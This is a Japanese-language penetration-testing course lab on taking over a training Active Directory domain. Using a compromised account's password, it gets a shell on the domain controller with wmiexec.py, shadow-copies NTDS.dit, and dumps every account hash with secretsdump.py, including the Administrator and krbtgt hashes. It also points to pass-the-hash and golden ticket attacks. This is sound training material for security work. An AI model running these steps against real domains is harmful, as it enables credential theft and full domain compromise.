Lab 5.2: Domain Dominance
オンライン演習
接続性: この演習を実施するには、クラス内ネットワーク(560A VPN経由)に接続している必要があります
目的
- DC01.hiboxy.com (10.130.10.4) 上のNTDS.ditファイルのシャドウコピーを作成します
- DC01からコピーを自分のマシンに抽出します
- Hiboxy Active Directory環境全体のパスワードハッシュを抽出します
Walkthrough Video
ラボのセットアップ
使用するVM:
- Linux
Linux VMから10.130.10.10にpingできることを確認してください:
コマンド
ping -c 4 10.130.10.10
想定される結果
sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=68.8 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=68.7 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=67.8 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=69.3 ms
--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 67.759/68.632/69.324/0.562 ms
ラボ - ステップバイステップの手順
hiboxy.comドメインのDCにアクセスします。
KerberoastラボでSVC_SQLService2
を侵害しました。これはドメイン管理者権限を持つアカウントです。
NTDS.ditファイルはActive Directoryによって常に使用されているため、単純に別のドライブにコピー&ペーストすることはできません。アクセスが拒否されます。そのため、ファイルのコピーを作成し、オリジナルではなくコピーを抽出する必要があります。これは共有環境であるため、複雑化を避けるために、既にコピーが存在する場合は作成を**実行しないでください**。
1: DC01でシェルを確立する
確認のため、SVC_SQLService2
アカウントを侵害しており、これを使用してドメインコントローラー上でシェルを確立できます。
コマンド
wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4
想定される結果
sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
コマンドを指定しない場合、セミインタラクティブシェルにドロップします。シェルを終了する必要がある場合は、exit
と入力してください(今はそうしないでください)。
NTDS.DITファイルのコピーを作成する方法はいくつかあります。例えば、他のラボではこの目的のためにImpacketのsecretsdump.py
を使用します。
このラボでは、vssadmin
を使用してC
ドライブ(NTDS.ditが存在する場所)のシャドウコピーを作成します。
2: シャドウコピーを確認する
DCへのwmiexecアクセスがあるので、スナップショットがあるかどうかを確認するためにシャドウコピーを見てみましょう。
wmiexec.py
シェルで、シャドウコピーをリストアップします:
コマンド
vssadmin.exe list shadows
シャドウコピーが表示されない場合は、新しく作成してください。既存のシャドウコピーがある場合は、既存のものを使用してください。少なくとも割り当てられたラボ時間中(ライブクラス)は、他の学生との競合や過度な帯域幅使用を避けるためです。
既存のシャドウコピーがない場合
コマンド
vssadmin.exe list shadows
想定される結果
C:\> vssadmin.exe list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
No items found that satisfy the query.
上記の出力が表示される場合、シャドウコピーが存在しないため、ステップ3で作成する必要があります。
既存のシャドウコピーがある場合
次のような出力が表示される場合があります。その場合、HarddiskVolumeShadowCopyX
のID番号をメモしてください。番号は異なる場合があります!
コマンド
vssadmin list shadows
想定される結果
C:\> vssadmin.exe list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Contents of shadow copy set ID: {b6f281d5-fcf1-4bf6-afd2-b0f9e7f55ca0}
Contained 1 shadow copies at creation time: 9/8/2024 8:31:44 PM
Shadow Copy ID: {d951507f-b8b4-4c81-a6a8-ca537faeddcf}
Original Volume: (C:)\\?\Volume{6d1c1d2f-0000-0000-0000-100000000000}\
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Originating Machine: dc01.hiboxy.com
Service Machine: dc01.hiboxy.com
Provider: 'Microsoft Software Shadow Copy provider 1.0'
Type: ClientAccessible
Attributes: Persistent, Client-accessible, No auto release, No writers, Differential
上記のような出力が表示される場合、他の学生またはインストラクターが既にシャドウコピーを作成しています。
3: シャドウコピーを作成する
シャドウコピーが存在しない場合は、次のコマンドを使用して作成します:
コマンド
シャドウコピーがない場合にのみ実行してください!
前のステップでシャドウコピーが表示されなかった場合にのみ、これを実行してください。
vssadmin create shadow /for=c:
想定される結果
C:\> vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Successfully created shadow copy for 'c:\'
Shadow Copy ID: {d951507f-b8b4-4c81-a6a8-ca537faeddcf}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
作成したシャドウコピーのインデックス番号をメモしてください。この例では番号は1
ですが、異なる場合があります。
4: ntds.ditとシステムハイブのコピーを作成する
Cドライブのシャドウコピーができたので、そこからntds.ditファイルを抽出する必要があります。
注: 番号1
をシャドウコピーのインデックスに更新してください。
コマンド
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\extract\ntds.dit
想定される結果
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\extract\ntds.dit
1 file(s) copied.
ファイルが使用中であるという警告が表示されましたか?
表示された場合、他の学生が同時にファイルにアクセスしている可能性があります。出力ファイルを変更してください。例えばC:\extract\ntds-yourfirstname.dit
のように。
NTDS.ditファイルからハッシュを抽出するには、システムハイブの暗号化キーが必要です。以下のコマンドでレジストリをバックアップします(完了するまで1〜2分かかる場合があります):
コマンド
reg save hklm\system c:\extract\system /y
想定される結果
C:\> reg save hklm\system c:\extract\system /y
The operation completed successfully.
既存のファイルが存在する場合にregが上書きできるように/y
を追加しました。ファイルが存在し、/y
を追加しない場合、コマンドは無期限にハングします。
これ以上必要ないので、このセッションを閉じることができます。
5: ntds.ditファイルを自分のマシンにコピーする
ntds.ditのコピーとシステムハイブがドメインコントローラー上に存在するようになったので、これらを自分のマシンにコピーできます。
これらのファイルをコピーする最良の方法は、smbclient.py
を利用することです
これを実行しないでください!
ファイルは約70Mあり、すべての学生が同時にダウンロードするとDCに過負荷がかかる可能性があります。Linux VMの~/labs
ディレクトリにこれらのファイルのコピーを用意してあります。
コマンド
smbclient.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4
use c$
cd extract
get ntds.dit
get system
exit
想定される結果
sec560@sec560vm:~$ smbclient.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4
Type help for list of commands
# use c$
# cd extract
# get ntds.dit
# get system
# exit
sec560@sec560vm:~$
6: ハッシュを抽出する
ntds.ditファイルを入手したので、必要なパスワードハッシュを抽出できます。
ntds.ditファイルに対するアクションはローカルマシン上で実行されるため、攻撃はオフラインとなり、ネットワークログには表示されません。
次のオプションでsecretsdump.py
を使用します:
-ntds
ntds.dit_filename-system
system_filename-outputfile
output_filenameLOCAL
: 攻撃がローカルであり、リモートで認証情報にアクセスしていないことをsecretsdump.py
に伝えます
コマンド
secretsdump.py -ntds ~/labs/ntds.dit -system ~/labs/system -outputfile /tmp/hashes.txt LOCAL
想定される結果
sec560@560vm:~$ secretsdump.py -ntds ~/labs/ntds.dit -system ~/labs/system -outputfile /tmp/hashes.txt LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x79d76480fd006930fff9ee719323cc89
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 57611253471e9952a545e169c8e117ba
[*] Reading and decrypting hashes from /home/sec560/labs/ntds.dit
hiboxy.com\Administrator:500:aad3b435b51404eeaad3b435b51404ee:2e920723943f81ec0af0fd735f737fef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SROCAdmin:1000:aad3b435b51404eeaad3b435b51404ee:2e920723943f81ec0af0fd735f737fef:::
DC01$:1001:aad3b435b51404eeaad3b435b51404ee:2461e0adc067331aa6f617995e574221:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f0cc426747b3e28d5d16baed2c98d6d:::
hiboxy.com\SVC_SQLService:1104:aad3b435b51404eeaad3b435b51404ee:46827f7a02b1381dc3293e9c84e7dcd6:::
hiboxy.com\SVC_SQLService2:1105:aad3b435b51404eeaad3b435b51404ee:144bdef70fbe14727a97cb3b82e9f3d1:::
hiboxy.com\krosterman:1106:aad3b435b51404eeaad3b435b51404ee:2fcc82e9615c6a08e7ba6c9ecb80c548:::
hiboxy.com\smorgan:1107:aad3b435b51404eeaad3b435b51404ee:397e2528a292cec11f524928fa89325c:::
...trimmed for brevity...
[*] Cleaning up...
上記の出力で、このアクションの結果を確認できます。次のラボで役立つハッシュもマークしてあります。
この時点で、いくつかのオプションがあります:
- パスワードハッシュをクラックする
- Pass-the-hash
- ゴールデンチケット攻撃のために
krbtgt
ハッシュを使用する
7: ボーナス
時間がある場合は、提供されている辞書とクラスで学んだテクニックを使用してHashcatでパスワードをクラックしてください。さまざまなクラッキング技術を試すことができます:
- ストレート辞書
- マスク付き辞書
- ルール
まとめ
このラボでは、管理者権限を持つドメインユーザーを使用して、シャドウコピーを使ってNTDS.ditファイルのコピーを取得する方法を見てきました。このファイルを使用することで、ドメイン内の任意のユーザーまたはコンピューターアカウントのパスワードハッシュを抽出する力を手に入れました。